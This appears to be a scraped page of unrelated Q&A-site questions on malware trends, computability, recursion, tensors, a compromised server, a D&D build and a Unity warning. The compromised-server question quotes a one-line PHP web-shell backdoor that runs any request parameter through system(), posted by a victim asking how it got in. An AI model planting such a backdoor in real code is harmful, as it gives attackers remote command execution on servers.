Can someone in Cyber Security or IT help answer this basic question on the change of today’s malware? [closed]

1.) Before the most common types of malware were usually trojan horses and various other types of viruses derived from one’s own e-mail on a desktop. Given the timespan since those days, the game has changed. Today ways of breaching a user’s data have changed drastically. What are the most prevalent methods that an average person should be aware of today?

Is this a computable function? Is the reduction correct?

Let $ A$ be a set, $ K=\{x:\phi_x(x)\downarrow\}$ . Let c to be a total computable function such that $ \phi_{c(x,y,n)}(z)=\begin{cases}\phi_n(z) & \text{if }\phi_x(y)\downarrow\\uparrow &\text{otherwise}\end{cases}$

Suppose $ \forall x,y\exists a.\phi_x(y)\downarrow \Leftrightarrow c(x, y,a)\in A$ .

The question is if the function: $ f(x)=a$ such that $ x\in K \Leftrightarrow c(x, x, a)\in A$ is total computable.

Hence, can I prove $ K\leq _m A$ with $ c(x,x, f(x))$ as reduction function?

How many times in this pseudocode is the function F called?

For this question, I thought function F called twice but it called three times. Are those three functions were called? F(N), F(K) and f(N-1)?

How many times in this pseudocode is the function F called?

Main     Declare K as Integer     K = 3     Set Result = F(K)     Write Result End Program  Function F(N) as Integer         If N == 1 Then Set F = 1     Else         Set F = N * F(N - 1)         Set N = N - 1     End If End Function 

How to reproduce this tensor calculation with Mathematica

The tensor operation shown in the red box is used in the textbook to prove that there are only 9 independent constants for orthotropic materials:

enter image description here

I want to use MMA to reproduce the operation of $ C_{pqmn}=l_{ip}\;l_{jq}\;l_{km}\;l_{ln}\;C_{ijkl}$ (Where $ C_{ijkl}$ is the stiffness tensor), but at present, I have no specific idea. I will continue to update the details to make it perfect.

Additional details:

Details are being added…

Server was compromised, found this line in a recently modified PHP file [closed]

I found this at the top of a PHP file in the web server:

<?php if(isset($ _REQUEST['xxx'])){ echo "<pre>"; $ xxx = ($ _REQUEST['xxx']); system($ xxx); echo "</pre>"; die; }?>

I’m guessing this is how they got the server to execute whatever commands they wanted to get in.

Does anyone know how this might have slipped into the PHP file in the first place? I know it’s an extremely vague and stupid question, but I’m stumped. Did they likely already have access to the server and slipped this in as a backdoor for later?

Is this grappling/wrestler build viable in mid-high level combat?

Preface

I’m relatively new to dnd and this is my second character build so I’m still trying to understand the mechanics for different classes and how to efficiently stack them.

Character Inspiration

My build is heavily inspired by los luchadores from the movie Mutafukaz. In MFKZ, the luchadores grew up in a long lineage of hero luchadores who protect the world from evil by wrestling (Barbarian) them. But these particular luchadores have doubts because their generation hasn’t ever seen any meaningful combat. So they just practice their skills and make money wrestling on TV (Bard) until their patron sends them a sign. When they finally found a sign, they had to sneak (Rogue) into a high security alien military compound to rescue a kidnapped scientist. Since my character is inspired by that movie, that led me to the following 3 classes…


Stats

At level 9 I’d have: Human Bard1/Bear Totem3/Assassin Rogue5

18STR, 15 DEX, 13CON, 9INT, 11WIS, 14CHA, 57HP, 13AC

Vicious mockery, Cure Wounds, Thunderwave (not sure I care about the other cantrips/spells)

Expertise in Athletics gets me +12 for Grapples and shoves. Stealth will probably be the other expertise.

Bardic Inspiration, +3d6 for sneak attacks, advantage during rage and assassinate, +2dmg during rage, and my meat shield combo Danger sense, Bear Totem & Uncanny Dodge.


Considerations

I should note that Im definitely not opposed to using weapons. But I’d prefer if they were either unique or smaller. For example, a whip, daggers, a net, or improvised weapons.

At level 10 Ive considered taking: Bear Totem4 for +1CON+1DEX, or buffing my attacks with Tavern Brawler or Fighter1 for the Unarmed Fighting variant.

Thoughts? Is this build a viable option in mid-high level combat? If not, is it possible do to improve my survivability without just starting from scratch?

Why do I get this warning when using a null conditional operator?

In the OnTriggerEnter2D function of my Bullet script, I have the following code:

private void OnTriggerEnter2D(Collider2D other) {      if (other.CompareTag("Enemy"))      {          var enemy = other.GetComponent<Enemy>();          enemy?.Death();      } } 

The reason for the null conditional operator (the question mark) in enemy?.Death() is because the Death function actually destroys the Enemy component script, so it suppresses an error when the bullet hits the enemy again. It’s supposed to be shorthand for:

if (enemy != null)     enemy.Death(); 

The code works; the error is suppressed. However, the IDE that I’m using, Jetbeans Rider, gives the following warning:

‘?.’ on a type deriving from ‘UnityEngine.Object’ bypasses the lifetime check on the underlying Unity object.

What does that mean exactly? Should I continue using the null conditional operator?